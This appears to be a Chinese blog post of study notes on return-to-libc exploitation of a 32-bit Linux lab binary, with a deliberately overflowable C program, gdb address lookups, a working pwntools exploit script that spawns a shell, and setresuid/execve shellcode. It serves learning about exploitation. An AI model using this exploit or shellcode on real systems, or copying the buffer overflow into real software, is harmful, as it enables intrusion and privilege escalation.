欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]return2libc in Linux32,学习笔记分享.

[原创]return2libc in Linux32,学习笔记分享.

    0x00 准备

记录一下学习ret2libc的过程,存在在缓冲区溢出的C代码例子.

/*

* gcc -fno-stack-protector -m32 -o level1 stack.c

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void vulnerable_function() {

    char buf[128];

    read(STDIN_FILENO, buf, 256);

}

int main(int argc, char** argv) {

    vulnerable_function();

    write(STDOUT_FILENO, "Hello, World\n", 13);

}


   
也可以下载现成的[Target](https://github.com/zhengmin1989/ROP_STEP_BY_STEP/raw/master/linux_x86/level2),工具依然是peda与pwn库,验证一下安全机制的开启.

    gdb-peda$ checksec 

    CANARY    : disabled

    FORTIFY   : disabled

    NX        : ENABLED

    PIE       : disabled

    RELRO     : Partial


    0x01 主要问题

因为开启了NX,stack权限不一样,本来level1上面的是可以执行的,现在x权限拿掉了即使rop成功,把eip放到栈上也会应为权限问题导致失败,可以看见level2的stack是rw,level1的是rwx.

Sn0rt@warzone:~/lab$ gdb level1

gdb-peda$ vmmap 

Start      End        Perm	Name

0x08048000 0x08049000 r-xp	/home/Sn0rt/lab/level1

...

0xbffdf000 0xc0000000 rwxp	[stack]

Sn0rt@warzone:~/lab$ gdb level2

gdb-peda$ vmmap 

Start      End        Perm	Name

0x08048000 0x08049000 r-xp	/home/Sn0rt/lab/level2

...

0xbffdf000 0xc0000000 rw-p	[stack]


    0x02 解决思路

可以看见level2的是使用了libc的.

Sn0rt@warzone:~/lab$ ./level2 

gdb-peda$ vmmap 

Start      End        Perm	Name

...

0xb7e23000 0xb7fcb000 r-xp	/lib/i386-linux-gnu/libc-2.19.so

0xb7fcb000 0xb7fcd000 r--p	/lib/i386-linux-gnu/libc-2.19.so

0xb7fcd000 0xb7fce000 rw-p	/lib/i386-linux-gnu/libc-2.19.so

...


而已知lib里面含有system这样的函数,也含有/bin/sh字符串,构造出system("/bin/sh")就可以,不过system的一个实现如下:

int

system(const char *command)

{

  pid_t pid;

	sig_t intsave, quitsave;

	sigset_t mask, omask;

	int pstat;

	char *argp[] = {"sh", "-c", NULL, NULL};

	if (!command)		/* just checking... */

		return(1);

	argp[2] = (char *)command;

	sigemptyset(&mask);

	sigaddset(&mask, SIGCHLD);

	sigprocmask(SIG_BLOCK, &mask, &omask);

	switch (pid = vfork()) {

	case -1:			/* error */

		sigprocmask(SIG_SETMASK, &omask, NULL);

		return(-1);

	case 0:				/* child */

		sigprocmask(SIG_SETMASK, &omask, NULL);

		execve(_PATH_BSHELL, argp, environ);

    _exit(127);

}


可以看出构造出sh开头指令,让execve去执行,sh很多平台是bash的符号链接,而bash在早期版本就修正了sh -c suid为0的安全问题.
好了,继续我们手下的活,找出/bin/sh和system()位置.

gdb-peda$ p system

$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>

gdb-peda$ searchmem "/bin/sh" libc

Searching for '/bin/sh' in: libc ranges

Found 1 results, display max 1 items:

libc : 0xb7f83a24 ("/bin/sh")


好了,基本条件都具备了,准备exp.
    0x03 构造exp

exp布局大约是

    140bytes填充 + system地址 + system返回过后的地址 + "/bin/sh"地址

[\CODE]    

新的问题来了,system返回过后的地址是什么?我打算放的函数exit()地址,这个exit也是需要一个参数的.虽然这样解决也不是很好,但是起码不会segment fault.

[CODE]

#!/usr/bin/env python

from pwn import *

p = process('./level2')

ret = 0xb7e561e0

systemaddr = 0xb7e63190

binshaddr = 0xb7f83a24

payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()



Sn0rt@warzone:~/lab$ python exp_level2.py 

[+] Starting program './level2': Done

[*] Switching to interactive mode

$ id

uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)


    0x04 思考

对suid程序攻击套路,setuid(0)然后execve("/bin//sh", ["/bin//sh", NULL], [NULL]) or system("/bin/sh"),shellcode应该是下面这样子,但是问题是不能把shellcode利用rop方法布置出去,这样还应该去libc或者其他的地方寻找已经存在的代码(因为那些地方代码是可以执行的),这个明显是个体力活啊.有个自动化的工具(ROPgadget)可以帮你找这样的代码时候节约一些时间.

BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);

  xor eax, eax      ; zero out eax

  xor ebx, ebx      ; zero out ebx

  xor ecx, ecx      ; zero out ecx

  cdq               ; zero out edx using the sign bit from eax

  mov BYTE al, 0xa4 ; syscall 164 (0xa4)

  int 0x80          ; setresuid(0, 0, 0)  restore all root privs

; execve(const char *filename, char *const argv [], char *const envp[])

  push BYTE 11      ; push 11 to the stack

  pop eax           ; pop dword of 11 into eax

  push ecx          ; push some nulls for string termination

  push 0x68732f2f   ; push "//sh" to the stack

  push 0x6e69622f   ; push "/bin" to the stack

  mov ebx, esp      ; put the address of "/bin//sh" into ebx, via esp

  push ecx          ; push 32-bit null terminator to stack

  mov edx, esp      ; this is an empty array for envp

  push ebx          ; push string addr to stack above null terminator

  mov ecx, esp      ; this is the argv array with string ptr

  int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])


然后把扎到的代码链接起来变成chain,不过这个程序太小了,里面可能没有全部的汇编指令,所有从libc里面找也是个思路.
  • Reference
  • [1] [wooyun drops](http://drops.wooyun.org/tips/6597)
    [2] [Phrack by Nergal Advanced return-to-libc exploit(s) Phrack 49, Volume 0xb, Issue 0x3a, Advanced return-into-lib(c) exploits](http://phrack.org/issues/58/4.html)

    注意:上传附件及图片大小不得大于30M。

    ⚠️ 版权声明:
    本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
    未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

    0 0 0 举报
    复制成功